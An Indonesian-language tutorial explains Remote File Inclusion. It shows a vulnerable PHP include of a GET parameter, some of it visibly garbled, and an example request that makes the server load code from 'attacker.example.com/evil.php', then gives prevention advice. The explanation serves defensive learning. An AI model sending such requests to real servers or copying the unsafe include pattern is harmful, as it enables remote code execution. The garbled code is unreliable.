Remote File Inclusion (RFI)
Memanfaatkan Remote File Inclusion, Inlusi Remote jarak jauh (RFI), seorang penyerang dapat menyebabkan aplikasi web untuk memasukkan file jarak jauh. Hal ini dimungkinkan untuk aplikasi web yang secara dinamis menyertakan file atau skrip eksternal. Potensi konsekuensi keamanan web dari serangan RFI yang sukses berkisar dari pengungkapan informasi sensitif dan Cross-site Scripting (XSS) hingga eksekusi kode jarak jauh dan, sebagai hasil akhir, kompromi sistem penuh.
Serangan inklusi file jarak jauh biasanya terjadi ketika aplikasi menerima jalur ke file sebagai input untuk halaman web dan tidak membersihkannya dengan benar. Ini memungkinkan URL eksternal untuk dipasok ke fungsi include.
Berikut ini adalah contoh kode PHP dengan kerentanan inklusi file jarak jauh. File dengan kode sumber dapat dimasukkan, menghasilkan eksekusi kode arbitrer.
/ **Menggunakan skrip PHP di atas, penyerang dapat membuat permintaan HTTP berikut untuk mengelabui aplikasi agar mengeksekusi kode berbahaya sisi-server, misalnya, backdoor atau webshell.
* Dapatkan nama file dari input GET
* Contoh - http://example.com/?file=index.php
* /
$ file = $ _GET ['file'];
/ **
* Sertakan file dengan tidak aman
* Contoh - index.php
* /
Include C$ file);
http://example.com/?file=http://attacker.example.com/evil.php
Dalam contoh ini, file jahat disertakan dan berjalan dengan izin eksekusi pengguna server yang menjalankan aplikasi web. Itu memungkinkan penyerang untuk menjalankan kode apa pun yang mereka inginkan di server web. Mereka bahkan bisa mendapatkan keberadaan yang terus-menerus di server web.
Menemukan dan Mencegah Kerentanan RFI
Jika Anda menemukan kerentanan RFI, cara terbaik untuk menghilangkannya adalah dengan tidak pernah memasukkan file berdasarkan input pengguna. Jika ini tidak memungkinkan, aplikasi harus menyimpan daftar putih file yang dapat dimasukkan. Validasi input adalah metode yang jauh kurang efektif dalam hal ini karena penyerang dapat mengitarinya menggunakan trik pintar.
Selain itu, dalam hal aplikasi PHP, sebagian besar instalasi saat ini dikonfigurasi dengan allow_url_include disetel ke mati di php.ini. Ini membuat mustahil bagi pengguna jahat untuk memasukkan file jarak jauh. Namun, Penyertaan File Lokal (LFI) masih dimungkinkan dalam kasus seperti itu.